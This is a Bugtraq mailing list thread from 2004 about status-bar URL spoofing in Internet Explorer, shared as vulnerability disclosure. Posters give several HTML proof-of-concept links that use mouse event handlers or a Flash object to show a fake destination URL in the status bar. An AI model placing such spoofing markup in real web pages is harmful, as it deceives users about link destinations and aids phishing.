Bugtraq mailing list archives

Re: New URL spoofing bug in Microsoft Internet Explorer


From: GuidoZ <uberguidoz () gmail com>
Date: Wed, 17 Nov 2004 05:55:07 +0000

<a href="http://www.google.com";
onmousemove="window.status='http://www.msn.com';";
onmouseout="window.status='Done.';">Visit Msn!</a>

Again, another way of "abusing a useful feature" more then an exploit.
=P Good point. (I pointed out something similar to this long ago. Read
on.)

<a href="http://www.google.com";
onmouseover="window.status='http://www.msn.com';";
onmouseout="window.status='Done.';">Visit Msn!</a>

This certainly does still work, when coded correctly. Like this for example...

<a HREF="http://www.google.com/";
onMouseOver="window.status='http://www.microsoft.com/';return true"
onMouseOut="window.status='Done';return true">Visit Microsoft!</a>

I mentioned this quite awhile back actually (10-29-04). I documented
the method (as well as the original post) at the following page:
 - http://www.guidoz.com/btstatusurl.html

I'm not sure if all my original emails ever made it to BT. I seem to
remember some bounced (I was out of town and didn't bother to
resubmit). A reason for this escapes me though. (One wasn't provided.)
Hopefully this will make it. =)

--
Peace. ~G


On Tue, 16 Nov 2004 16:11:05 +0000, q q <systemcracker () gmail com> wrote:
I thought this was obvious, but having seen the amount of discussion,
here's another URL spoofer:

<a href="http://www.google.com";
onmousemove="window.status='http://www.msn.com';";
onmouseout="window.status='Done.';">Visit Msn!</a>

note that

<a href="http://www.google.com";
onmouseover="window.status='http://www.msn.com';";
onmouseout="window.status='Done.';">Visit Msn!</a>

won't work - it seems MS have already half fixed this....

(tested on MSIE 6.0, winXP)

On 8 Nov 2004 23:30:55 -0000, roozbeh afrasiabi
<roozbeh_afrasiabi () yahoo com> wrote:
In-Reply-To: <005401c4bd36$6fdf3800$d9ebb9d9@oemcomputer>

Here is another way of spoofing the status bar:

<a> tag + <object> tag

<!--A HREF=http://www.yahoo.com><!--OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"

codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0";

WIDTH="300" HEIGHT="50" id="link" ALIGN="">

<PARAM NAME=movie VALUE="link.swf"> <PARAM NAME=quality VALUE=high > <PARAM NAME=bgcolor VALUE=#FFFFFF> <PARAM 
NAME=menu

VALU=FALSE>

 <EMBED src="link.swf" quality=high bgcolor=#FFFFFF  WIDTH="300" HEIGHT="50" NAME="link" ALIGN=""

TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer";></EMBED>

</a></OBJECT></a>

*this method of spoofing the status bar allows malicious users to hide the target url from suspecting ppl ,demo 
page uses flash to generate

random urls.

demo:

http://www.persiax.com/pocs/statusbar/status.htm



--
PHP, mySQL Security and more at http://www.puremango.co.uk



Current thread: